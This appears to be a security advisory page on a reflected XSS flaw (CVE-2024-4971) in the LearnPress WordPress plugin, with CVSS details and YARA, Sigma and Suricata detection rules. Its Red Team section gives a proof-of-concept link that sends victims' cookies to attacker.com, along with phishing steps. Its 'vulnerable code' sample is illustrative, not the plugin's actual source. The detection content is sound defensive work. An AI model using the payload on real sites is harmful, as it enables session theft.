CVE-2024-4971
Executive Summary
CVE-2024-4971 is a Reflected Cross-Site Scripting (XSS) vulnerability in the LearnPress – WordPress LMS Plugin, affecting all versions up to and including 4.2.6.6. The flaw resides in the id parameter, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to script execution in the victim's browser context. This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel for a patched version. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is medium due to the requirement for user interaction, but the potential for phishing campaigns and credential theft elevates the risk for unpatched sites.
Deep Dive & Mechanics
The vulnerability is a classic Reflected XSS in the LearnPress plugin. The id parameter is used in various shortcodes and AJAX endpoints without proper sanitization. When a user clicks a malicious link containing a crafted id value, the script is reflected back and executed in the browser. The attack flow:
- Attacker crafts a URL:
https://target.com/?id=<script>alert('XSS')</script> - Victim clicks the link (e.g., via phishing email).
- The server reflects the
idparameter in the response without escaping. - The browser executes the injected script.
This can be used to steal session cookies, redirect users to malicious sites, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (<= 4.2.6.6):
// In a shortcode or AJAX handler
$id = $_GET['id'];
echo "<div id='$id'>Content</div>";
Patched Code (Hypothetical):
$id = sanitize_text_field($_GET['id']);
echo "<div id='" . esc_attr($id) . "'>Content</div>";
The patch would involve using esc_attr() for output and sanitize_text_field() for input. Since no official patch is available, users must implement these changes manually or disable the plugin.
Exploitation & Lab Setup
Red Team
Proof of Concept (PoC):
<!-- Save as poc.html and host on attacker server -->
<a href="http://target.com/?id=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>">Click me</a>
Exploit Usage:
- Host the PoC on an attacker-controlled server.
- Send the link to the victim via phishing email or social engineering.
- When the victim clicks, their session cookie is sent to the attacker.
Blue Team
Detection:
- Monitor web logs for suspicious
idparameter values containing<script>,onerror, orjavascript:. - Use WAF rules to block reflected XSS patterns.
Lab Setup:
- Install WordPress with LearnPress 4.2.6.6.
- Create a page using a LearnPress shortcode that accepts
id. - Test with:
http://localhost/?id=<script>alert(1)</script>
Indicators of Compromise (IOCs)
- Network: HTTP requests with
idparameter containing<script>,%3Cscript%3E, oronerror=in the query string. - Logs: Access logs showing
GET /?id=<script>...patterns. - File: No file-based IOCs; this is a reflected XSS.
Detection Engineering
YARA Rule
rule CVE_2024_4971_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against LearnPress id parameter"
author = "Valters IT"
date = "2024-10-01"
reference = "CVE-2024-4971"
strings:
$xss1 = /[?&]id=.*<script>/i
$xss2 = /[?&]id=.*%3Cscript%3E/i
$xss3 = /[?&]id=.*onerror=/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against LearnPress id Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-4971
author: Valters IT
date: 2024/10/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- 'id=<script'
- 'id=%3Cscript%3E'
- 'id=onerror='
condition: selection
falsepositives:
- Legitimate use of script tags in parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-4971 Reflected XSS in LearnPress id parameter"; flow:to_server; content:"GET"; http_method; content:"id="; http_uri; pcre:"/(<script|%3Cscript%3E|onerror=)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the LearnPress plugin until a patch is available.
- Short-term: Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
- Long-term: Apply input sanitization (
sanitize_text_field()) and output escaping (esc_attr()) to allidparameter usages. - Monitor: Watch for plugin updates from the vendor and apply immediately.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.